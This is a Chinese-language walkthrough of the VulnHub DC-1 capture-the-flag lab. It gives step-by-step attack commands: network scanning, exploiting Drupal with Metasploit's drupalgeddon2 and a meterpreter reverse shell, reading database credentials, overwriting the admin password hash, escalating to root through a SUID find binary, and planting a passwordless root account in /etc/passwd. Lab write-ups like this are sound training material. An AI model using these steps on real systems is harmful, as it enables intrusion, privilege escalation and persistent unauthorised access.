DC-1
描述
DC-1是一个专门构建的易受攻击的实验室,目的是获得渗透测试领域的经验。总共有五个标志,但是最终目标是在root的主目录中找到并读取该标志。
环境准备
下载靶机:https://www.vulnhub.com/entry/dc-1-1,292/
下载好解压后导入vmware虚拟机中,如果提示导入OVA文件失败就点击重试就可以开启了,可以设置网络模式为NAT模式
具体渗透步骤
1.信息收集
获取靶机ip地址:
因为是在自己虚拟机上搭建的,因为我的kali和靶机在同一个网段下,所以查看kali的ip地址就能知道靶机所在的网段了
接下来使用命令扫描整个网段中可以ping通的ip:
nmap -sP 192.168.X.0/24
或者
netdiscover -r 192.168.X.0/24 (需要root权限)
或者
arp-scan -l (需要root权限)
得到靶机ip地址:192.168.119.134
获取开放的端口:
namp -A 192.168.119.134
或者
sudo nmap -sS -sV -v -p- -A 192.168.119.134
namp参数:
-sP :ping扫描(不进行端口扫描)
-sT:进行TCP全连接扫描
-sS:进行SYN半连接扫描
-sF:进行FIN扫描
-sN:进行Null扫描
-sX:进行Xmas扫描
-O:进行测探目标主机版本(不是很准)
-sV:可以显示服务的详细版本
-A:全面扫描
-p:指定端口扫描 -p-代表全部端口
-oN:会将扫描出来的结果保存成一个txt文件
-oX:会将扫描出来的结果保存成一个xml文件
[-T1]-[-T5]:提高扫描速度
这里只有80、22、111端口
使用这个命令可以查看所有开放的端口:80、22、111、42586
访问80端口
经典CMS:Drupal
2.指纹识别
使用插件工具查看
在kali中使用命令查看
whatweb -v http://192.168.119.134
3.目录扫描
dirb http://192.168.119.134 (相比下面的工具这个要慢的多)
或者使用dirsearch扫描工具
./dirsearch.py -u http://192.168.119.134 -e php
访问robots.txt
访问UPGRADE.txt,获得版本号为7.x
知道了CMS,知道了版本号,就去可以搜索这个版本的漏洞
4.漏洞利用
(1) 启动MSF: msfconsole
(2) 搜索攻击漏洞: search drupal
(3) 选择攻击模块,因为这个漏洞是2018年出的,所以选2018年的
use exploit/unix/webapp/drupal_drupalgeddon2
(4) 设置payload参数:set payload php/meterpreter/reverse_tcp
(5) show options
(6) 输入靶机的IP地址:set RHOSTS 192.168.119.134
(7) exploit 开始攻击,输入shell
flag1
查看当前用户,查看当前路径下的文件,发现有一个flag1.txt
查看flag1.txt的内容:
提示我们需要去找drupal的配置文件
获取一个完全交互式的shell:(反弹shell,方便后面输入命令)
python -c 'import pty;pty.spawn ("/bin/bash")'
flag2
配置文件在:/var/www/sites/default/settings.php
查看配置文件
发现flag2、数据库账号,密码
查看mysql服务是否启动:netstat -anptl
在shell中连接数据库:
mysql -udbuser -pR0ck3t
查看数据库:show databases;
选择数据库:use drupaldb;
查看当前数据库下的表:show tables;
发现users表,查看表中内容:
select * from users\G;
发现admin用户
要破解密文,可以使用暴力破解或者是在数据库中更新密码,尝试更新admin用户的密码
drupal的加密文件在scripts/password-hash.sh
退出mysql,exit;
自己设置一个密码并获得hash加密后的密码:
php scripts/password-hash.sh 123456
获得加密后的密码:
$S$DlSKHHi7ce.SDNqIi.ADRfU4jht/eXAyXmj8pINH0oqLO4IW9vOM
进入mysql 更新密码:
update users set pass='$S$DlSKHHi7ce.SDNqIi.ADRfU4jht/eXAyXmj8pINH0oqLO4IW9vOM' where uid=1
成功修改密码,后台登陆测试
进入后台
flag3
发现flag3
提示我们查看密码文件
flag4
发现flag4,进入flag4用户的目录下查看
flag5
flag in root,提示我们需要越权
因为find
命令可以调用外部命令
查看拥有suid权限的文件:find / -perm -u=s -type f 2>/dev/null
如果Find命令也是以Suid权限运行的话,则将通过find执行的所有命令都会以root权限执行
find /home/flag4 -exec “whoami” ; 先建立一个mima文件夹
find /home/flag4 -exec “/bin/sh” ; 继续调用外部命令,进入管理员权限
越权成功,进入root目录查看
为了后续登陆方便,为服务器写入账户为admin的免密登陆账户
echo'admin::0:0:: /root:/bin/bash' >> /etc/passwd